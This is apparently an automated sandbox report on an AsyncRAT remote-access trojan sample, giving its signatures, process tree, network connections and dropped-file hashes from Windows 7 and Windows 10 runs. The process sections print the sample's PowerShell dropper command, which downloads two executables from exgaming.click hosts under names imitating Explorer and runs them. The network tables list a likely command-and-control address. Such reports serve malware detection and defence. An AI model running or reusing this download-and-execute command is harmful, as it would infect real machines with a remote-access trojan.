Malware Analysis Report

2025-01-02 12:11

Sample ID 240418-b6vrjagh8z
Target a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
SHA256 a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392
Tags
rat default asyncrat discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392

Threat Level: Known bad

The file a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe was found to be: Known bad.

Malicious Activity Summary

rat default asyncrat discovery

AsyncRat

Async RAT payload

Asyncrat family

Detects executables attemping to enumerate video devices using WMI

Detects executables attemping to enumerate video devices using WMI

Checks computer location settings

Checks installed software on the system

Unsigned PE

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-18 01:45

Signatures

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Asyncrat family

asyncrat

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-18 01:45

Reported

2024-04-18 01:48

Platform

win7-20240221-en

Max time kernel

1s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe"

Signatures

AsyncRat

rat asyncrat

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

Processes

C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe

"C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

Network

Country Destination Domain Proto
FR 51.254.53.24:4449 tcp
US 8.8.8.8:53 xcu.exgaming.click udp
US 8.8.8.8:53 xcu5.exgaming.click udp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp
FR 51.254.53.24:4449 tcp

Files

memory/2744-0-0x0000000000270000-0x0000000000288000-memory.dmp

memory/2744-1-0x000007FEF5A70000-0x000007FEF645C000-memory.dmp

memory/2888-8-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

memory/2888-10-0x0000000002640000-0x00000000026C0000-memory.dmp

memory/2744-11-0x000000001AC40000-0x000000001ACC0000-memory.dmp

memory/2888-9-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

memory/2888-12-0x0000000002640000-0x00000000026C0000-memory.dmp

memory/2888-7-0x000000001B220000-0x000000001B502000-memory.dmp

memory/2888-13-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

memory/2888-14-0x0000000002640000-0x00000000026C0000-memory.dmp

memory/2888-15-0x0000000002640000-0x00000000026C0000-memory.dmp

memory/2744-16-0x0000000077640000-0x00000000777E9000-memory.dmp

memory/2888-24-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 1f6cd01d92450d13290185f545ff5aa5
SHA1 6853e02b26f41ae70c6bcbe72c69c9a3107ee738
SHA256 59e8cc9cd878c37127c434f32fa9ab137ad7c05768e75275150dbfafc2ffa086
SHA512 5b129a8c5bf6bbfb718663b5ccd456c53c39fe96149660e2b1104e07009efb0981bd38cc368caeae49788cb2b6ee3dddb4dbdcd0d930325ae3280525b5cc300c

memory/2196-40-0x000000001B230000-0x000000001B512000-memory.dmp

memory/2196-42-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

memory/2196-41-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

memory/2196-43-0x0000000002760000-0x00000000027E0000-memory.dmp

memory/2196-44-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

memory/2196-46-0x0000000002760000-0x00000000027E0000-memory.dmp

memory/2196-47-0x0000000002760000-0x00000000027E0000-memory.dmp

memory/2196-45-0x0000000002760000-0x00000000027E0000-memory.dmp

memory/2196-48-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

memory/744-56-0x00000000025C0000-0x0000000002640000-memory.dmp

memory/744-55-0x000007FEEC970000-0x000007FEED30D000-memory.dmp

memory/744-57-0x00000000025C0000-0x0000000002640000-memory.dmp

memory/744-54-0x0000000002590000-0x0000000002598000-memory.dmp

memory/744-59-0x00000000025C0000-0x0000000002640000-memory.dmp

memory/2744-58-0x000007FEF5A70000-0x000007FEF645C000-memory.dmp

memory/744-61-0x00000000025C0000-0x0000000002640000-memory.dmp

memory/744-60-0x000007FEEC970000-0x000007FEED30D000-memory.dmp

memory/744-62-0x000007FEEC970000-0x000007FEED30D000-memory.dmp

memory/1552-68-0x000007FEEBFD0000-0x000007FEEC96D000-memory.dmp

memory/1552-69-0x0000000002450000-0x00000000024D0000-memory.dmp

memory/1552-71-0x0000000002450000-0x00000000024D0000-memory.dmp

memory/1552-74-0x0000000002450000-0x00000000024D0000-memory.dmp

memory/1552-73-0x0000000002450000-0x00000000024D0000-memory.dmp

memory/2744-72-0x000000001AC40000-0x000000001ACC0000-memory.dmp

memory/1552-70-0x000007FEEBFD0000-0x000007FEEC96D000-memory.dmp

memory/1552-75-0x000007FEEBFD0000-0x000007FEEC96D000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar9EA7.tmp

MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

memory/2744-116-0x0000000077640000-0x00000000777E9000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-18 01:45

Reported

2024-04-18 01:48

Platform

win10v2004-20240412-en

Max time kernel

91s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe"

Signatures

AsyncRat

rat asyncrat

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe N/A

Checks installed software on the system

discovery

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe

"C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 xcu.exgaming.click udp
FR 51.254.53.24:4449 tcp
US 8.8.8.8:53 xcu5.exgaming.click udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 24.53.254.51.in-addr.arpa udp
US 8.8.8.8:53 156.33.209.4.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 21.114.53.23.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 99.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp

Files

memory/1496-0-0x0000000000C80000-0x0000000000C98000-memory.dmp

memory/1496-1-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/1496-3-0x000000001BA90000-0x000000001BAA0000-memory.dmp

memory/3720-13-0x000001DB91FB0000-0x000001DB91FD2000-memory.dmp

memory/3720-14-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfyf1ppu.sba.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3720-15-0x000001DBAA460000-0x000001DBAA470000-memory.dmp

memory/3720-16-0x000001DBAA460000-0x000001DBAA470000-memory.dmp

memory/3720-19-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/4180-21-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/4180-22-0x00000246A0280000-0x00000246A0290000-memory.dmp

memory/4180-23-0x00000246A0280000-0x00000246A0290000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b66db53846de4860ca72a3e59b38c544
SHA1 2202dc88e9cddea92df4f4e8d83930efd98c9c5a
SHA256 b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030
SHA512 72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

memory/4180-34-0x00000246A0280000-0x00000246A0290000-memory.dmp

memory/1496-35-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/4180-37-0x00000246A0390000-0x00000246A05AC000-memory.dmp

memory/4180-38-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/4992-45-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/4992-50-0x0000019A33E90000-0x0000019A33EA0000-memory.dmp

memory/4992-51-0x0000019A33E90000-0x0000019A33EA0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b0cfdab278bf3db6d14817b1e701e4ee
SHA1 7ec7d56340dcaff7b6bf3d0e4b35be5bd57e87b8
SHA256 0554687e2254846915ac9d734989c77cfc0417bdd6607dd64dde2fb2dcc55854
SHA512 40a621b3ef79c9f74c937b4f04ef18bcc78bc7436c2035885bd8651b4ffc072152c6e87087be432c43860256c5e89ef33d57bb27822d36f18b8b9bda9208d4ca

memory/1496-52-0x000000001BA90000-0x000000001BAA0000-memory.dmp

memory/4992-54-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/736-55-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/736-56-0x00000223FCB60000-0x00000223FCB70000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7cf51fd9a798b70dcc75418df6ab7709
SHA1 36565372f526bae197a5d1117032228ebd35b637
SHA256 cabd168d058cc355f41ccc602554ae350212e9bd79ff19e2ee0da1b6268155a4
SHA512 b78f414a2a45acde1a705e2731aba09f469fca36cfd171c11334f03f08ef60af3a33d2c907959017e4ec4777cea716b96d931ad36ecc809c81308cee7bb9a37e

memory/736-62-0x00000223FCB60000-0x00000223FCB70000-memory.dmp

memory/736-68-0x00000223FCB60000-0x00000223FCB70000-memory.dmp

memory/736-70-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

memory/1496-71-0x000000001BA90000-0x000000001BAA0000-memory.dmp

memory/1496-72-0x000000001BA90000-0x000000001BAA0000-memory.dmp

memory/1496-74-0x000000001BA90000-0x000000001BAA0000-memory.dmp